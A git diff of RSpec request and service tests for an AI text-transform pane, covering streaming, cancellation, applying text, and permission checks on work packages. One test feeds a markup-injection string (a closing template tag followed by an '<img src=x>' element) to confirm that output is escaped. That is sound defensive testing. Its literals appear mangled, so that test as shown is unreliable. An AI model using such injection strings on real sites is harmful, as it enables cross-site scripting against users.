+ get ai_text_transform_pane_path(run.uuid, **pane_params, after: 0), headers: stream
+
+ expect(response.body).to include("done", "**done**", "Replace")
+ end
+
+ it "keeps markup in the raw text inside its template" do
+ run = run_with_events(:succeeded, ["completed", { "text" => %(a < b "quoted"
) }])
+
+ get ai_text_transform_pane_path(run.uuid, **pane_params), headers: stream
+
+ expect(response.body).to include("a < b "quoted" </template><img src=x>")
+ expect(response.body).not_to include("
")
+ end
+
+ it "shows the stopped state for a blocked response" do
+ run = run_with_events(:failed, ["error", { "reason" => "blocked", "message" => "Blocked." }])
+
+ get ai_text_transform_pane_path(run.uuid, **pane_params), headers: stream
+
+ expect(response.body).to include("Generation stopped", "Try again")
+ end
+
+ it "removes the pane of a cancelled run and reports the closed request" do
+ run = run_with_events(:cancelled)
+
+ get ai_text_transform_pane_path(run.uuid, **pane_params), headers: stream
+
+ expect(response.body).to include('action="remove"', "op-dispatched:ai-text-transform:closed", request_id)
+ end
+
+ it "is forbidden once the permission to edit the work package is gone" do
+ run = run_with_events(:succeeded, ["completed", { "text" => "Done." }])
+ viewable = create(:project, types: [type])
+ create(:member, project: viewable, principal: user, roles: [create(:project_role, permissions: %i[view_work_packages])])
+ other = create(:work_package, project: viewable, type:)
+
+ get ai_text_transform_pane_path(run.uuid, **pane_params, work_package_id: other.id), headers: stream
+
+ expect(response).to have_http_status(:forbidden)
+ end
+
+ it "does not show another user's run" do
+ run = create(:ai_text_transform_run, :running)
+
+ get ai_text_transform_pane_path(run.uuid, **pane_params), headers: stream
+
+ expect(response).to have_http_status(:not_found)
+ end
+ end
+
+ describe "DELETE destroy" do
+ it "cancels a running run, removes the pane and reports the closed request" do
+ run = run_with_events(:running)
+
+ delete ai_text_transform_pane_path(run.uuid), params: pane_params, headers: stream
+
+ expect(run.reload.cancel_requested).to be(true)
+ expect(response.body).to include('action="remove"', 'target="ai-text-transforms-result-pane-component"',
+ "op-dispatched:ai-text-transform:closed", request_id)
+ end
+
+ it "leaves a finished run as it is" do
+ run = run_with_events(:succeeded, ["completed", { "text" => "Done." }])
+
+ delete ai_text_transform_pane_path(run.uuid), params: pane_params, headers: stream
+
+ expect(response).to have_http_status(:ok)
+ expect(run.reload.cancel_requested).to be(false)
+ end
+
+ it "cancels the run even without a valid request id" do
+ run = run_with_events(:running)
+
+ delete ai_text_transform_pane_path(run.uuid), params: { request_id: "pane-1" }, headers: stream
+
+ expect(response).to have_http_status(:ok)
+ expect(run.reload.cancel_requested).to be(true)
+ expect(response.body).to include('action="remove"')
+ expect(response.body).not_to include("op-dispatched:ai-text-transform:closed")
+ end
+
+ it "closes a pane without a run" do
+ delete ai_text_transform_pane_path("rejected"), params: pane_params, headers: stream
+
+ expect(response).to have_http_status(:ok)
+ expect(response.body).to include('action="remove"', "op-dispatched:ai-text-transform:closed")
+ end
+
+ it "does not cancel another user's run" do
+ run = create(:ai_text_transform_run, :running)
+
+ delete ai_text_transform_pane_path(run.uuid), params: pane_params, headers: stream
+
+ expect(run.reload.cancel_requested).to be(false)
+ end
+ end
+
+ describe "POST apply" do
+ it "hands the completed text of the run to the editor, never the client's" do
+ text = %(Fixed < text "quoted" )
+ run = run_with_events(:succeeded, ["completed", { "text" => text }])
+
+ post apply_ai_text_transform_pane_path(run.uuid), params: pane_params.merge(text: "Forged."), headers: stream
+
+ expect(response.body).to include('action="dispatchEvent"', "op-dispatched:ai-text-transform:accepted")
+ detail = JSON.parse(Nokogiri::HTML5.fragment(response.body).at("turbo-stream")["detail"])
+ expect(detail).to eq("requestId" => request_id, "scope" => "selection", "text" => text)
+ end
+
+ context "without the permission to edit the work package any more" do
+ current_user { create(:user, member_with_permissions: { project => %i[view_work_packages] }) }
+
+ it "is forbidden" do
+ run = create(:ai_text_transform_run, :succeeded, user: current_user, action:)
+
+ post apply_ai_text_transform_pane_path(run.uuid), params: pane_params, headers: stream
+
+ expect(response).to have_http_status(:forbidden)
+ expect(response.body).not_to include("op-dispatched")
+ end
+ end
+
+ it "refuses a run that has not succeeded" do
+ run = run_with_events(:running)
+
+ post apply_ai_text_transform_pane_path(run.uuid), params: pane_params, headers: stream
+
+ expect(response).to have_http_status(:unprocessable_entity)
+ end
+
+ it "does not apply another user's run" do
+ run = create(:ai_text_transform_run, :succeeded)
+
+ post apply_ai_text_transform_pane_path(run.uuid), params: pane_params, headers: stream
+
+ expect(response).to have_http_status(:not_found)
+ end
+ end
+
+ describe "POST cancel" do
+ it "requests cancellation of a running run" do
+ run = run_with_events(:running)
+
+ post cancel_ai_text_transform_pane_path(run.uuid)
+
+ expect(response).to have_http_status(:no_content)
+ expect(run.reload.cancel_requested).to be(true)
+ end
+
+ it "does not touch another user's run" do
+ run = create(:ai_text_transform_run, :running)
+
+ post cancel_ai_text_transform_pane_path(run.uuid)
+
+ expect(response).to have_http_status(:not_found)
+ expect(run.reload.cancel_requested).to be(false)
+ end
+ end
+end
diff --git a/spec/services/ai/text_transforms/context_spec.rb b/spec/services/ai/text_transforms/context_spec.rb
index 0220cf148f76..bc576baa9153 100644
--- a/spec/services/ai/text_transforms/context_spec.rb
+++ b/spec/services/ai/text_transforms/context_spec.rb
@@ -41,6 +41,10 @@
expect(context).to have_attributes(work_package:, project:, type:)
end
+ it "is identified by the work package" do
+ expect(context.ids).to eq(work_package_id: work_package.id)
+ end
+
it "resolves the type's default variant" do
expect(context.type_variant).to eq(type.default_variant)
end
@@ -72,6 +76,10 @@
expect(context).to have_attributes(work_package: nil, project:, type:)
end
+ it "is identified by the project and the type" do
+ expect(context.ids).to eq(project_id: project.id, type_id: type.id)
+ end
+
it "resolves the variant through the project" do
expect(context.type_variant).to eq(project.type_variant(type))
end
@@ -98,6 +106,7 @@
expect(context).to have_attributes(work_package: nil, project: nil, type: nil)
expect(context.type_variant).to be_nil
expect(context.template).to be_nil
+ expect(context.ids).to eq({})
end
end
end